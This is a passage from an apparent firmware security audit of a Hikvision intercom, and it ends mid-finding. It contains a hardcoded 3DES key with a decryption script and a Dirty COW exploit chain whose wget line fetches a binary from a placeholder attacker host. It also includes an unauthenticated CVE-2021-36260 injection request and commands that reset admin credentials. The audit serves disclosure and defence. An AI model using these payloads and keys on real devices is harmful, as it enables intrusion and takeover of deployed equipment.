# Contents of section .rodata (24 bytes = digicap_key):
# 0000 2102034d 56131112 0102034d 56101112  !..MV......MV...
# 0010 0102034d 5612111d                    ...MV...

The Ghidra listing below shows the same data as seen during static analysis — digicap_key at the start of .rodata, with all six XREF annotations pointing back to the dk_fops_ioctl read site, confirming this is the only location the key is consumed:

Ghidra listing of digicap_key in .rodata with dk_fops_ioctl XREFs

Step 4 — Algorithm identification and decryption

A 24-byte key composed of three 8-byte subkeys is the canonical Triple DES (3DES) key format. 3DES operates on 8-byte blocks; the encrypted file is 9,352 bytes (= 1,169 × 8), consistent with block-cipher-aligned ciphertext. Trial decryption confirmed 3DES-ECB mode (no IV; ECB produces the only valid plaintext). CBC with a zero IV decrypts the first block correctly (#!/bin/s) then diverges — confirming ECB.

from Crypto.Cipher import DES3
KEY = bytes.fromhex('2102034d561311120102034d561011120102034d5612111d')
with open('start.sh', 'rb') as f: data = f.read()
padding = data[-1]; enc = data[:-1]; plen = len(enc) - padding
plaintext = DES3.new(KEY, DES3.MODE_ECB).decrypt(enc)[:plen]
# → valid shell script beginning with #!/bin/sh

Evidence

Field Value
Encryption algorithm 3DES-ECB
Key length 24 bytes (192-bit; three 8-byte DES subkeys)
Key source digicap_key symbol, .rodata of digicapkeyArm.ko
Key “protection” Magic token 0x786f8321 check — value is hardcoded in dec binary
Runtime ioctl _IOWR('K', 0x42, 28) = 0xc01c4b42 on /dev/decryptkey; any local process knowing the magic can retrieve the key at runtime
Padding scheme PKCS#7 — last byte of file = pad count
Ciphertext size 9,352 bytes (1,169 DES blocks)
Decrypted plaintext 9,344 bytes — valid shell script

3DES Key (hex):

Full:  2102034d561311120102034d561011120102034d5612111d
K1:    2102034d56131112
K2:    0102034d56101112
K3:    0102034d5612111d

Findings from decrypted start.sh:

The script is annotated throughout with Chinese comments. Translations are provided inline below.

1. Silent security patch for a web directory traversal (most significant finding)

The script runs the following block twice — once in debug mode and once in the normal boot path:

#安全升级补丁：删除webs目录下的外部文件链接
# "Security upgrade patch: delete external file links under webs directory"
rm -rf /home/config/webs/devListCfg

The comment explicitly names this a “security upgrade patch.” Deleting a specific path (devListCfg) from the web directory at every boot strongly suggests a symlink traversal or local file inclusion vulnerability was discovered in the web interface — and patched by removing the offending path at startup rather than fixing the web server code. This fix was deliberately placed inside the encrypted boot script so it could not be inspected. The underlying vulnerability in the web code likely still exists; only the exploitable entry point is cleaned up at boot.

2. da_info — unified serial console control dispatcher (~60 commands)

A single binary /home/app/bin/da_info is symlinked under ##创建串口指令链接 (“Create serial console command links”) to approximately 60 different names in /usr/bin/. It dispatches on argv[0]. The active (non-commented) commands include:

Command Function
door_ctrl Direct door open/close control
arming_upload Upload alarm arming state (connects to F-04)
monitor_upload Upload monitoring data to cloud
voip_login / voip_call / voip_hangup / voip_logout Full VOIP session lifecycle
doorCallRoom / doorHungUp / doorNotOpen / doorNotClose Intercom call and door state control
callLift Lift/elevator call integration
disMantle Anti-tamper detection trigger
setRegPwd Set device registration password
decryptData Dedicated decrypt command
sadp_close_ctrl Enable/disable Hikvision SADP network discovery
setEzvizserver / setEzvizlog / showEzvizstream / showEzvizserver Direct Ezviz cloud management (confirms F-04, F-05)
DABI_ctrl Proprietary protocol controller (purpose unknown)
roomsdk Access control panel integration
record_ctrl / record_search Recording management
setDebug / getDebug / debugLog Runtime debug control
autoInputTest / autoInputTestExt Hardware input testing

All of these are reachable directly from the UART shell (ttyS0, 115200 baud — confirmed accessible in U-Boot boot args).

3. Commented-out commands reveal the hardware platform family

The following commands are present in the binary (da_info) but disabled for this model:

# 指纹模块 — Fingerprint module:
#ln -s .../da_info /usr/bin/fpGetModuleVersion
#ln -s .../da_info /usr/bin/fpEnroll
#ln -s .../da_info /usr/bin/fpDel
#ln -s .../da_info /usr/bin/fpupgrade
#ln -s .../da_info /usr/bin/fpRecognition
#ln -s .../da_info /usr/bin/fpDebug
#ln -s .../da_info /usr/bin/faceTest      # face recognition test

# 蓝牙模块 — Bluetooth module:
#ln -s .../da_info /usr/bin/setBlueEnable
#ln -s .../da_info /usr/bin/setBlueName
#ln -s .../da_info /usr/bin/setBlueUUID
#ln -s .../da_info /usr/bin/setBlueBroad
#ln -s .../da_info /usr/bin/setBlueRandNum
#ln -s .../da_info /usr/bin/setBlueModel
#ln -s .../da_info /usr/bin/setBluePower
#ln -s .../da_info /usr/bin/getBlueVer

# 其他 — Other:
#ln -s .../da_info /usr/bin/openEleLock   # electric lock control
#ln -s .../da_info /usr/bin/resetPasswd   # password reset — deliberately removed
#ln -s .../da_info /usr/bin/resetParam    # factory reset — deliberately removed
#ln -s .../da_info /usr/bin/gui_debug     # GUI debug mode
#ln -s .../da_info /usr/bin/screenshot    # screen capture
#ln -s .../da_info /usr/bin/setV6ip       # IPv6 configuration
#ln -s .../da_info /usr/bin/dm365         # TI DaVinci DM365 chip (separate hardware variant)
#ln -s .../da_info /usr/bin/check_rs232   # RS-232 interface testing

The fingerprint and Bluetooth stubs exist in da_info even on this device. faceTest is commented out but the face recognition test infrastructure is present — consistent with F-05 findings. resetPasswd and resetParam are notable: their symlinks are absent from start.sh, but static disassembly of da_info (see F-16) confirmed both commands remain fully present in its dispatch table (cmd_idx=0x13 and 0x14) and are callable directly via /home/app/bin/da_info resetPasswd. The symlink removal provides no access control — it only hides the convenience path.

4. TLS certificate deployment (confirms F-01)

##创建https证书文件
# "Create HTTPS certificate files"
if [ ! -f "/home/config/certs/servercert.pem" ];then
    hik_cp /home/hik/servercert.pem /home/config/certs/
fi
if [ ! -f "/home/config/certs/serverkey.pem" ];then
    hik_cp /home/hik/serverkey.pem /home/config/certs/
fi

The hardcoded private key from F-01 is deployed from within the encrypted script at every boot.

5. Service launch sequence and boot architecture

#解压bsp、dsp资源    — "Decompress BSP/DSP resources"
#解压lib库          — "Decompress lib libraries"
#启动BSP,DSP脚本    — "Start BSP/DSP scripts"
#删除BSP、DSP中间解压文件  — "Delete BSP/DSP intermediate extracted files"
#解压GPL资源        — "Decompress GPL resources"
#解压hicore资源     — "Decompress hicore resources"
#音频资源加载       — "Load audio resources"
#为dsp准备字库资源  — "Prepare font/character library resources for DSP"

/home/app/daemon_fsp_app &                        # starts first, before hicore
/home/app/gpl_process -m /home/app/lib/yate &    # Yate VOIP, GPL-isolated process
/home/app/hicore &                                # main application

# web resources extracted AFTER hicore is already running:
/bin/tar xzf /home/hik/webs.tar.gz -C /home/app
/bin/tar xzf /home/hik/web4.0_help.tar.gz -C /home/app/webs

daemon_fsp_app starts before everything else with no documentation of its function. There is a boot window where hicore is running before the web interface is available.

6. Yate VOIP 5.5.0 and libbsp_data_encrypt.so

#openSSL暨HTTPS相关动态库  — "OpenSSL and HTTPS related dynamic libraries"
ln -sf /home/app/lib/libcrypto.so /lib/libcrypto.so.1.0.0
ln -sf /home/app/lib/libssl.so /lib/libssl.so.1.0.0

#BSP根密钥相关动态库  — "BSP root key related dynamic library"
ln -sf /home/app/lib/libbsp_data_encrypt.so /lib/libbsp_data_encrypt.so

libbsp_data_encrypt.so is described as handling the BSP root key — this may be a hardware-bound key derivation layer in the Hi3516CV300 SoC and warrants further analysis. Yate VOIP 5.5.0 (libyate5.5.0.so, libyatertpc.so, libyatesip.so) is deployed as a full framework alongside sipServer, representing an additional unexplored attack surface.

7. Disabled developer debug modes

#sdbg=$(/bin/awk -F 'sdbg=' '{print substr($2,1,1)}' /proc/cmdline)

The sdbg assignment is commented out, disabling two debug modes that remain as dead code:

Evidence of debug infrastructure in production firmware, re-enableable by an attacker who can modify U-Boot boot arguments via UART and re-encrypt start.sh with the now-known key.

Proof of Concept

# 1. Extract digicapkeyArm.ko from firmware CramFS
binwalk3 -e firmware.bin
# Module is at: 1E0000/digicapkeyArm.ko

# 2. Extract the 24-byte 3DES key from .rodata
arm-none-eabi-objdump -s -j .rodata 1E0000/digicapkeyArm.ko
# Key: 2102034d561311120102034d561011120102034d5612111d

# 3. Decrypt start.sh (~1 second, no special hardware needed)
python3 - <<'EOF'
from Crypto.Cipher import DES3
KEY = bytes.fromhex('2102034d561311120102034d561011120102034d5612111d')
with open('1E0000/start.sh', 'rb') as f: data = f.read()
padding = data[-1]; enc = data[:-1]; plen = len(enc) - padding
open('/tmp/start_decrypted.sh', 'wb').write(
    DES3.new(KEY, DES3.MODE_ECB).decrypt(enc)[:plen])
EOF

Impact

The encryption of start.sh provides no meaningful protection against a firmware-level attacker. The 3DES key is stored in plaintext in .rodata of digicapkeyArm.ko, which resides in the same CramFS partition as start.sh. An attacker who can read the flash can decrypt the boot script in seconds with objdump and six lines of Python.

CVSS rationale (MEDIUM 6.4): Confidentiality impact is Low — the script content is service startup commands; no new secrets are exposed beyond what is already findable in plaintext firmware sections. Integrity impact is High — an attacker with flash read+write access can modify start.sh, re-encrypt it with the extracted key, and flash back a backdoored or modified version that survives reboots. Availability impact is High — the same modification capability means an attacker can simply comment out the hicore and gpl_process launch lines, reflash, and the device is permanently non-functional after the next reboot. Integrity (I) and Availability (A) are independent CVSS metrics: both are consequences of the same write capability, so both are scored.

The most significant finding from the decrypted script is the silent web directory traversal patch (finding 1 above): a symlink pointing into devListCfg is deleted at every boot via a comment-marked “security upgrade patch,” strongly suggesting a path traversal or LFI vulnerability exists in the web code and was addressed by concealing the fix inside an encrypted boot script rather than repairing the underlying code.

References

F-07 — Preset SSH Host Keys

Field Value
Severity MEDIUM
CVSS v3 Score 6.5
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector Network
CWE CWE-321: Use of Hard-coded Cryptographic Key
Related CVEs —
Affected Versions All firmware versions
Location /etc/dropbear/ in ramdisk
Exploitability Confirmed — shared keys verified in firmware; Dropbear version also outdated
Remediation Status Open

Description

Three pre-baked SSH host keys are present in the firmware ramdisk:

/etc/dropbear/dropbear_ecdsa_host_key
/etc/dropbear/dropbear_rsa_host_key
/etc/dropbear/dropbear_dss_host_key

The pre-baked SSH host keys are identical within this firmware image. If the same firmware image is shipped to multiple devices without per-unit key generation, SSH host key verification would provide no security guarantee against an attacker who has access to the firmware image. This cannot be confirmed across units without analyzing additional devices. Dropbear version 2018.76 (outdated) is used. EMBA’s SSH check confirmed no LZMA backdoor (CVE-2024-3094) is present.

Impact

If the same firmware is shipped to multiple units, SSH host key pinning provides no cross-device security guarantee. An attacker with access to the firmware image could impersonate any device sharing the same keys to SSH clients that have previously cached the fingerprint.

References

F-08 — Telnet Can Be Enabled

Field Value
Severity MEDIUM
CVSS v3 Score 5.9
CVSS v3 Vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network (when Telnet is enabled)
CWE CWE-319: Cleartext Transmission of Sensitive Information
Related CVEs —
Affected Versions All firmware versions
Location hicore — SQLite security config schema
Exploitability Probable — requires enable_telnet=1 in config DB, achievable via config API or direct DB access
Remediation Status Open

Description

An enable_telnet field exists in the device’s SQLite security config database, defaulting to 0 (disabled). If enabled via the configuration API or direct database manipulation, the device allows unencrypted remote shell access. Combined with the exposed root password hash (F-03), this is a critical escalation path.

CREATE TABLE IF NOT EXISTS security_cfg_para(
    idx integer primary key, enable_telnet INTEGER, security_level INTEGER);
INSERT INTO security_cfg_para VALUES(1, 0, 0);

Impact

Once enabled, Telnet transmits all session data — including credentials — in cleartext. Combined with F-03 (exposed root hash) and F-02 (psh backdoor), an attacker who can enable Telnet remotely (via the ISAPI config endpoint) gains a full, unencrypted root shell path.

References

F-09 — Hardcoded Internal IP Addresses

Field Value
Severity MEDIUM
CVSS v3 Score 5.3
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector Network (information disclosure)
CWE CWE-1188: Insecure Default Initialization of Resource
Related CVEs —
Affected Versions All firmware versions
Location hicore binary
Exploitability Confirmed — IPs directly readable from firmware binary strings
Remediation Status Open

Description

Several Hikvision-internal IP addresses are present in production firmware, indicating the build was not sanitized before release:

IP Context
10.192.74.191 Internal Hikvision server (undocumented)
10.19.132.120:6120 Internal test endpoint with obfuscated parameters
192.168.8.253 Hardcoded Wi-Fi AP IP (ifconfig wlan0 192.168.8.253)

Impact

Reveals Hikvision’s internal network addressing scheme and test infrastructure. May be used to fingerprint device build environments or to craft targeted attacks if the device ever routes to those subnets. The obfuscated test URL (F-04) suggests QA/debug code was shipped in production.

References

F-10 — Hardcoded Chinese DNS Servers

Field Value
Severity MEDIUM
CVSS v3 Score 5.3
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector Network
CWE CWE-1188: Insecure Default Initialization of Resource
Related CVEs —
Affected Versions All firmware versions
Location hicore binary
Exploitability Confirmed — DNS servers hardcoded, active on device boot
Remediation Status Open

Description

Beyond standard DNS servers (8.8.8.8, 8.8.4.4), the firmware references Chinese DNS resolvers that fall under Chinese legal jurisdiction:

DNS Server Operator
114.114.114.114 DNSPai (China)
223.5.5.5 Alibaba Cloud DNS (China)

Under China’s 2017 National Intelligence Law (Article 7), operators of these resolvers may be compelled to cooperate with Chinese state intelligence activities, potentially exposing the device’s hostname resolution activity.

Impact

All DNS queries resolved through these servers may be logged and disclosed to Chinese authorities. This creates a covert intelligence channel independent of any network monitoring an operator may deploy.

References

F-11 — Severely Outdated Software Stack

Field Value
Severity CRITICAL
CVSS v3 Score 9.8 (aggregate)
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network / Local
CWE CWE-1104: Use of Unmaintained Third Party Components
Related CVEs 4,000 CVEs — see Appendix E and Section 8
Affected Versions All firmware versions
Location Entire firmware image
Exploitability Confirmed — 105 public exploits, 12 Metasploit modules available
Remediation Status Open

Description

EMBA’s cve-bin-tool identified 4,000 CVEs across the firmware’s software components, with 105 public exploits — including 12 Metasploit modules — available for confirmed vulnerabilities:

Severity CVE Count With Exploits
Critical 47 1
High 715 55
Medium 1,417 40
Low 48 1
Total 4,000 105
**Remote exploits: 8 Local exploits: 72 DoS exploits: 28**

The dominant contributor is the Linux 3.18.20 kernel with 3,856 CVEs and 95 associated exploits (see F-12 for critical kernel exploits). Other significant contributors:

Component Version CVEs Exploits
Linux Kernel 3.18.20 3,856 95
OpenSSL 1.0.2j 43 5
wpa_supplicant 2.2 36 0
SQLite 3.7.10 26 3
BusyBox 1.31.1 15 0
BusyBox 1.2.1 17 0
zlib 1.2.8 10 0
zlib 1.2.11 6 0
UPnP SDK 1.6.17 2 2

References

F-12 — Kernel Privilege Escalation — Confirmed Exploits

Field Value
Severity HIGH
CVSS v3 Score 8.8
CVSS v3 Vector AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Local (post-initial-access)
CWE CWE-269: Improper Privilege Management
Related CVEs CVE-2016-5195, CVE-2015-1328, CVE-2015-8660, CVE-2015-8104, and 6 others
Affected Versions Linux 3.18.20 (EOL ~2017)
Location Kernel (uImage)
Exploitability Confirmed — Metasploit modules available for multiple CVEs
Remediation Status Open

Description

EMBA’s linux-exploit-suggester identified 10 kernel exploits rated “probable” or “high probability” for Linux 3.18.20. Several have public Metasploit modules and Exploit-DB entries with high EPSS scores:

CVE Exploit Name EDB ID Metasploit EPSS Description
CVE-2016-5195 Dirty COW 40611, 40839 Yes 89% Race condition in copy-on-write — local root
CVE-2015-1328 overlayfs (Ubuntu) 40688 Yes 89% Overlayfs privilege escalation
CVE-2015-8660 overlayfs multiple Yes 59% Overlayfs setuid priv esc
CVE-2016-0728 keyring 40003 — 49% Kernel keyring use-after-free, local root
CVE-2015-8104 KVM DoS/root — — — CVSS 10.0 — requires KVM; unlikely enabled on this SoC
CVE-2022-32250 nft_object UAF — — — Netfilter UAF — kernel config not verified
CVE-2022-2586 nft_object UAF — — — Netfilter UAF, kernel >= 3.16 — config not verified
CVE-2021-3493 OverlayFS — — — Ubuntu 14.04–20.10, x86_64 only — likely not applicable
CVE-2021-22555 Netfilter heap OOB — — — kernel >= 2.6.19 — config not verified
CVE-2017-6074 DCCP UAF — — — Requires CONFIG_IP_DCCP — not verified

CVE-2015-8104 carries a CVSS score of 10.0 — the maximum possible.

Proof of Concept

# Exploit chain using Dirty COW (CVE-2016-5195) — EDB-40611
# Step 1: Gain initial shell via network RCE or psh backdoor
# Step 2: Upload Dirty COW exploit binary to /tmp/
wget http://[attacker]/dirty -O /tmp/dirty && chmod +x /tmp/dirty
# Step 3: Execute privilege escalation (completes in seconds)
/tmp/dirty [new_root_password]
# Step 4: Authenticate as root with new password
su root

# Alternatively: Metasploit module
# use exploit/linux/local/udev_netlink (for kernel 3.18)
# use exploit/linux/local/overlayfs_priv_esc

Impact

If an initial foothold is established (e.g., via psh backdoor, UART console, or a network-reachable vulnerability), Dirty COW (CVE-2016-5195) and the overlayfs exploits have public Metasploit modules and high EPSS scores for this kernel version, making privilege escalation to root plausible. Note that linux-exploit-suggester rates exploits based on kernel version alone — some entries (e.g., Ubuntu-specific overlayfs variants, KVM-dependent CVEs) may not apply to this ARM/uClibc build without kernel config verification.

References

F-13 — Binary Memory Protection Failures

Field Value
Severity HIGH
CVSS v3 Score 8.1
CVSS v3 Vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network / Local
CWE CWE-693: Protection Mechanism Failure
Related CVEs —
Affected Versions All firmware versions
Location 101 analyzed binaries — primarily hicore
Exploitability Probable — exploitation requires triggering a memory corruption vulnerability (see F-14)
Remediation Status Open

Description

EMBA analyzed 101 binaries for standard memory exploitation mitigations. RELRO and stack canaries are severely lacking across the firmware; NX and PIE coverage is more mixed:

Mitigation Missing Present % Missing
RELRO (Relocation Read-Only) 94 / 101 7 / 101 93%
Stack Canaries 85 / 101 16 / 101 84%
NX / DEP (No-Execute) 39 / 101 62 / 101 39%
PIE (Position Independent Executable) 16 / 101 85 / 101 16%
Debug Symbols Stripped 35 / 101 66 / 101 35% stripped

Note on NX and PIE figures: The 39% NX-missing count is largely driven by kernel modules (.ko files), which are expected to load into kernel space where userspace NX semantics do not apply the same way. Among user-space executables and shared libraries, NX coverage is substantially higher. PIE is present on 85% of binaries overall, which is relatively good coverage. RELRO and stack canaries represent the primary hardening gaps.

The main application binary hicore specifically:

Without RELRO on hicore, any write primitive can overwrite GOT entries to redirect execution. With NX disabled on hicore specifically, injected shellcode can execute directly without ROP chains — a significant concern given the unsafe function usage identified in F-14.

Impact

Any memory corruption vulnerability in hicore or other user-space binaries lacking RELRO (94 of 101) is easier to exploit due to writable GOT entries. For hicore specifically, the absence of both RELRO and NX combined with the unsafe function usage identified in F-14 means a confirmed memory corruption bug could be exploited without advanced ROP chain techniques. Stack canaries on hicore do provide some mitigation against straight stack-smashing attacks.

References

F-14 — Pervasive Memory Safety Issues in Application Code

Field Value
Severity HIGH
CVSS v3 Score 8.1
CVSS v3 Vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network
CWE CWE-676, CWE-134, CWE-119, CWE-416, CWE-415, CWE-787
Related CVEs —
Affected Versions All firmware versions (hicore binary)
Location hicore and 14 other binaries
Exploitability Probable — 32 potential command injection sites flagged by Ghidra; manual verification pending
Remediation Status Open — manual verification of Ghidra findings pending

Description

Static analysis via three independent methods converged on massive code quality issues throughout the firmware.

Dangerous C Function Usage (s13):

Function Total Uses Worst Binary
strcpy 883 hicore: 300
sprintf 756 hicore: 756
strcat 102 hicore: 102
system() 41 hicore: 41
fprintf 3,078 hicore: 3,078
popen() 10 hicore: 10

CWE-checker Results (s17) — 4,380 issues across 11 binaries:

CWE Description Count
CWE-676 Use of Potentially Dangerous Function 2,528
CWE-476 NULL Pointer Dereference 1,030
CWE-782 Exposed IOCTL with Insufficient Access Control 460
CWE-252 Unchecked Return Value 228
CWE-416 Use After Free 59
CWE-190 Integer Overflow / Wraparound 16
CWE-467 sizeof on Pointer Type 12
CWE-134 Externally Controlled Format String 9
CWE-119 Buffer Overflow 6
CWE-125 Out-of-bounds Read 5
CWE-787 Out-of-bounds Write 1
CWE-415 Double Free 7

Ghidra/semgrep Results (s16) — 8,212 findings across 15 binaries:

Pattern Count
Interesting API calls 2,958
Format string bugs 2,659
Integer truncation 819
Signed/unsigned conversion 970
Command injection 32
Unterminated string (strncpy) 97
Unchecked malloc return 116
Use-after-free 4
Double-free 2
Off-by-one 9
Incorrect use of free 12

The 32 command injection findings from Ghidra are particularly significant. While semgrep analysis produces false positives, any confirmed command injection in hicore — which makes 41 system() calls — would represent a direct path to remote code execution.

Impact

If any of the 32 Ghidra-flagged command injection patterns in hicore is confirmed exploitable, and the service is network-reachable, the absent binary mitigations (F-13) mean exploitation would not require advanced techniques. Manual verification of the Ghidra findings is a priority next step; these are static analysis flags and may include false positives.

References

F-15 — Weak File Permissions

Field Value
Severity HIGH
CVSS v3 Score 7.1
CVSS v3 Vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector Local
CWE CWE-732: Incorrect Permission Assignment for Critical Resource
Related CVEs —
Affected Versions All firmware versions
Location Filesystem-wide (395 instances)
Exploitability Probable — exploitation requires achieving initial shell access (via F-02 or UART)
Remediation Status Open

Description

EMBA identified 395 areas with weak file permissions across the filesystem. Weak permissions on system files, configuration files, or credential stores allow privilege escalation by lower-privileged processes or local attackers with shell access. Detailed enumeration of the 395 instances requires manual review against the full filesystem tree (Appendix B).

Impact

A low-privileged process or user with shell access can read credential files, modify configuration, or tamper with system binaries — all of which are typically restricted to root. Chained with F-12 (kernel privesc), this provides additional escalation paths.

References

F-16 — da_info Hidden Command Surface: Symlink Removal Provides No Access Control

Field Value
Severity HIGH
CVSS v3 Score 7.1
CVSS v3 Vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector Local (requires any shell — UART, Telnet, post-exploitation)
CWE CWE-284: Improper Access Control; CWE-912: Hidden Functionality
Related CVEs —
Affected Versions All firmware versions
Location /home/app/bin/da_info — dispatch table at .rodata:0x16718, 145 entries
Exploitability Confirmed — dispatch table fully extracted; commands invocable via direct binary call
Remediation Status Open

Description

da_info is a 42 KB dynamically-linked ARM ELF that implements a 145-command multi-call dispatch interface for hikvision’s proprietary IPC subsystem. The start.sh boot script creates approximately 60 symlinks in /usr/bin/ pointing to this binary, which dispatches commands by matching argv[0] against a case-insensitive command table.

The dispatch table was fully extracted from .rodata at VMA 0x16718. It contains 145 entries with command indices 0x00–0xeb. The jump table at .text:0x11bac routes each command index to one of 32 handler addresses, all of which ultimately call ipc_unix_send_data to send a structured IPC message to hicore via a Unix domain socket (channel name: tools_process). da_info itself contains no system() or popen() calls — it is a thin IPC proxy.

resetPasswd and resetParam are not removed — only unlinked:

The start.sh boot script comments mark resetPasswd and resetParam as deliberately omitted from the symlink interface. Static disassembly confirmed both commands are present in the dispatch table at cmd_idx=0x13 and 0x14 respectively, with fully functional IPC handlers. Any process with a shell can invoke them directly:

/home/app/bin/da_info resetPasswd          # sends IPC cmd 0x13 to hicore → admin credential reset
/home/app/bin/da_info resetParam           # sends IPC cmd 0x14 to hicore → factory reset

The argv[0] match is performed by strncasecmp — the binary name in the path does not matter; only argv[0] is checked.

decryptData — hicore crypto oracle:

The decryptData command (cmd_idx=0xe9) is accessible from the symlink interface and accepts two arguments: a ciphertext string and an integer type selector. It validates argc == 3 and checks combined argument length ≤ 448 bytes, then forwards to hicore’s decrypt handler. The type selector is passed via atoi() with no bounds checking. This provides an interface for sending arbitrary decryption requests to hicore’s internal crypto subsystem using caller-selected algorithm types — useful for probing internal key material if hicore’s decrypt handler does not validate the type against an allowlist.

Full command table — 145 entries vs ~60 symlinks:

Category Commands present in binary but missing from start.sh symlinks
Credential management resetPasswd, resetParam
Fingerprint module fpGetModuleVersion, fpEnroll, fpDel, fpRecognition, fpDebug, fpupgrade
Bluetooth module setBlueEnable, setBlueName, setBlueUUID, setBlueBroad, setBlueRandNum, setBlueModel, setBluePower, getBlueVer
UI/diagnostics gui_debug, screenshot, kb, setVideoWDR, FLDset
Network setV6ip, check_rs232
Misc openEleLock, dm365, mcu_learn, mcu_debug, hwdbg, touchScreen, switch_system_type, set_eye_dist, printPart, printPartFile, ReadSensor, WriteSensor

All of these are reachable via /home/app/bin/da_info <command> [args] from any shell.

Impact

An attacker who obtains any shell on the device — via UART (F-06), Telnet (F-08), post-exploitation of a network service, or kernel privilege escalation (F-12) — can invoke resetPasswd to reset the administrator credential, gaining web interface admin access independently of whether they know the current password. The factory reset path (resetParam) would wipe the device configuration.

The decryptData oracle provides a means to probe hicore’s internal crypto routines without requiring the underlying key material, which may be relevant to extracting or verifying key derivation in libbsp_data_encrypt.so.

References

F-17 — CVE-2021-36260: Command Injection via ISAPI configurationData Endpoint

Field Value
Severity CRITICAL
CVSS v3 Score 9.8 (NVD)
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network — unauthenticated PUT request to /ISAPI/System/configurationData
CWE CWE-78: Improper Neutralization of Special Elements Used in an OS Command
Related CVEs CVE-2021-36260
Affected Versions Hikvision Video Intercom products before V2.2.0; this firmware reports V2.1.5
Location hicore — /ISAPI/System/configurationData request handler
Exploitability Probable — endpoint confirmed present; version in affected range; dynamic verification pending
Remediation Status Open

Description

CVE-2021-36260 is a publicly disclosed, Hikvision-confirmed unauthenticated command injection vulnerability affecting a broad range of Hikvision IP cameras and intercom products. The vulnerability resides in the HTTP server’s handler for PUT /ISAPI/System/configurationData. User-supplied XML data in the request body is processed without adequate sanitisation before being passed to a system-level command execution function, allowing an unauthenticated attacker to inject arbitrary OS commands.

Evidence from static analysis of this firmware:

  1. Endpoint confirmed present. The string /ISAPI/System/configurationData is present in hicore (file offset 0x70e884, VMA 0x71e884) and appears in a URL dispatch table alongside 41 other ISAPI endpoints. The binary implements an HTTP server that routes PUT/GET requests to C++ handlers.

  2. Command execution capability. hicore imports system, popen, execve, fork, and vfork from the C library (confirmed via arm-none-eabi-nm -D). The binary contains at least 13 system() call sites and 10 popen() call sites — several of which construct their command strings using sprintf/snprintf into stack buffers.

  3. Version in affected range. A firmware version string V2.1.5 was recovered from hicore at file offset 0x7e6fa8. CVE-2021-36260 affects Hikvision Video Intercom products with firmware before V2.2.0. V2.1.5 falls within this range.

  4. No heap allocation or XML-safe string handling observed near handler. The three cross-references to the configurationData string VMA locate it inside a URL comparison table; full data-flow analysis from the XML parser to the command sink has not been completed statically due to binary size (~8.7 MB stripped). Full confirmation requires QEMU dynamic analysis or live device testing.

PoC / Exploit Pattern

Per publicly available research, the CVE is exploitable via:

PUT /ISAPI/System/configurationData HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

<?xml version="1.0" encoding="UTF-8"?>
<language>$(id>/tmp/pwned)</language>

Multiple public PoC implementations and Metasploit modules (e.g., exploit/linux/http/hikvision_unauth_rce_cve_2021_36260) are available for this CVE.

Impact

Unauthenticated remote code execution as root. hicore runs as PID > 1 on a system with no SELinux or AppArmor. A successful exploit yields a root shell over the network with no credentials required.

Revision caveat (see §2.1): This “probable” rating rests on the chip-off unit’s V2.1.5 version string falling inside Hikvision’s documented affected range (< V2.2.0). A second, newer physical unit tested live reports firmware V2.2.65 — outside the affected range. This finding should not be assumed to apply to current-production units without directly testing the configurationData endpoint against them; version-string inference is not a substitute for live confirmation.

References

F-18 — sipServer SQL Injection via SIP REGISTER

Field Value
Severity CRITICAL
CVSS v3 Score 9.1
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network — unauthenticated SIP REGISTER message on UDP/TCP port 5060
CWE CWE-89: Improper Neutralization of Special Elements Used in an SQL Command
Related CVEs —
Affected Versions All firmware versions
Location sipServer — user_info_file class, sips_user_info_db.cpp
Exploitability Probable — vulnerable code pattern confirmed; functional SQL injection test not performed
Remediation Status Open

Description

sipServer is a 197 KB ARM ELF that implements a SIP registrar (RFC 3261) for inter-device communication. It uses SQLite to store a reg_user table of registered SIP clients. Static analysis reveals that SQL queries are constructed by direct sprintf/snprintf format-string substitution of SIP message fields into raw SQL strings, which are then executed via sqlite3_exec() or sqlite3_get_table().

Critical evidence:

sipServer imports no prepared statement functions: sqlite3_prepare_v2, sqlite3_prepare, sqlite3_bind_text, and related APIs are entirely absent from the dynamic symbol table. All database operations use the raw-execution path:

Imports: sqlite3_exec, sqlite3_get_table, sqlite3_open, sqlite3_close
         sprintf, snprintf
No imports: sqlite3_prepare_v2, sqlite3_bind_*, sqlite3_step

Vulnerable SQL patterns (extracted from binary strings):

Query pattern Source field File offset
WHERE user_name = '%s'; SIP From: username 0x2c21c
WHERE reg_name = '%s'; SIP registration name 0x2c298
WHERE reg_name = '%s' and device_sn = '%s'; SIP fields 0x2c2f0
INSERT INTO %s VALUES(%d, '%s', '%s', %d, '%s', '%s', %d, %d, %u, '%s', '%s', %d, '%s'); SIP REGISTER fields 0x2c3f4
SET user_ip = '%s', user_port = '%d', ... WHERE user_name = '%s'; SIP REGISTER fields 0x2c514

All %s arguments in these queries are populated from SIP message header fields (username, IP, device serial, MAC, device name) extracted from incoming SIP REGISTER messages. SIP messages require no authentication at the network level — any device on the LAN can send a crafted REGISTER to port 5060.

Attack surface: The Find user debug strings ("find user:%s password failed", "find user:%s dev config failed") confirm the username is read directly from the SIP From: or Contact: header without sanitisation before use in WHERE user_name = '%s'. A username containing a single quote (') would break the SQL string literal, enabling classic injection.

Database contents at risk: The reg_user table stores registered SIP device info including user_name, user_ip, user_port, dev_serial, dev_mac, login_password, and reg_password. SQLite also holds other tables (system config, ezviz enable state, access credentials) that a UNION-based injection could reach.

Impact

An attacker on the same network segment (LAN or Wi-Fi) can send a crafted SIP REGISTER message with a SQL-injection payload in the From: header, achieving:

